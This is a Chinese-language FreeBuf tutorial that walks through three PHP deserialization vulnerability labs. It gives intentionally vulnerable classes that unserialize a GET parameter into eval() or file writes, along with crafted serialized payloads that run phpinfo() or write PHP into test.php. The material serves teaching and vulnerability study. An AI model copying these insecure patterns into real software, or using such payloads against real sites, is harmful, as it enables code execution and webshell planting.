freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

php反序列化漏洞部分代码解析复现
FreeBuf_360449 2021-03-10 20:32:24 272175

反序列化漏洞 一

<?php 
class A 
{     var $test = "demo";   
function __wakeup() {     
eval($this->test); //$this是调用这个对象的意思,就是调用test这个对象  
}
}
$b = new A(); //创建对象(将对象实例化)
$c = serialize($b); //将对象序列化,赋值给$c
$a = $_GET['test']; //通过get传参进来一个值,接受参数的为test $a_unser = unserialize($a); //将get传参进来的值进行反序列化 ?> payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}


1615379234_6048bb22b940d5964c6b1.png!small?1615379233540

反序列化漏洞 二

<?php 
/*require "test.php";//测试方便 (包含了创建了刚才写入的php文件,相当于直接读取)*/ class A {
var $test = '123';
function __wakeup() {
$fp = fopen("test.php", "w"); //打开test.php文件,如果此文件不存在,会创建一个(w) fwrite($fp, $this->test); //将$this->test打开的位置被写入到$fp
fclose($fp); //关闭打开的$fp指针文件(因为打开一个文件需要再关闭)
}
}
$a = new A(); //创建一个新对象,实例化对象
print_r(serialize($a)); //打印序列化的$a,相当于将对象给实例化 $class1 = $_GET['test']; //get传参进来的值赋给$class1
$class1_unser = unserialize($class1); //将get传参进来的值,进行反序列化,反序列化时会立即调用魔术变量__wakeup,并且执行创建一个test.php
?>
payload: ?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

1615379332_6048bb841b0f0fde67bff.png!small?1615379331411

反序列化漏洞 三

<?php

/*require 'test.php'; */

class b {

function __construct($test) { //创建一个魔术常量的函数,如果下边有创建对象,会立马调用

$fp = fopen("test.php", 'w' ); //打开一个test.php文件,如果没有,就会创建一个test

fwrite($fp, $test); //将$test的内容写入进$fp中

fclose($fp); //关闭$fp指针所在位置

}

}

class a { //创建一个类 类名a

var $test = 123; //定义一个变量

function __wakeup() { //定义一个魔术变量函数,当序列化之后会立马执行里面的内容

$obj = new b($this->test); //实例化一个对象b,给变量$obj,因为i创建了一个对象,会立马调用上边的构造函数__construct(魔术变量)的内容

}

}

$class = $_GET['test']; //接受get传参进来的值进行,传递给$class

$class_u = unserialize($class); //将get传参进来的值进行反序列化,会调用魔术变量__wakeup,会立即执行里面的实例化对象

?>

payload: ?test=O:1:"A":1:{s:4:"test";s:26:"<?php echo "hello word";?>";}

由于我们实例二给创建了一个test.php文件,我们换另一种写入的内容,然后在观察是创建了,还是直接写入

1615379473_6048bc116873dd72cb12d.png!small?1615379472883

# 黑客 # php # 漏洞分析 # php反序列化漏洞
本文为 FreeBuf_360449 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_360449 LV.4
这家伙太懒了,还未填写个人描述!
  • 19 文章数
  • 10 关注者
两款超实用的目录扫描工具
2021-05-10
Linux安装docker以及AWVS-13
2021-04-10
Cobalt Strike--使用hanzolnjection的免杀
2021-03-21
文章目录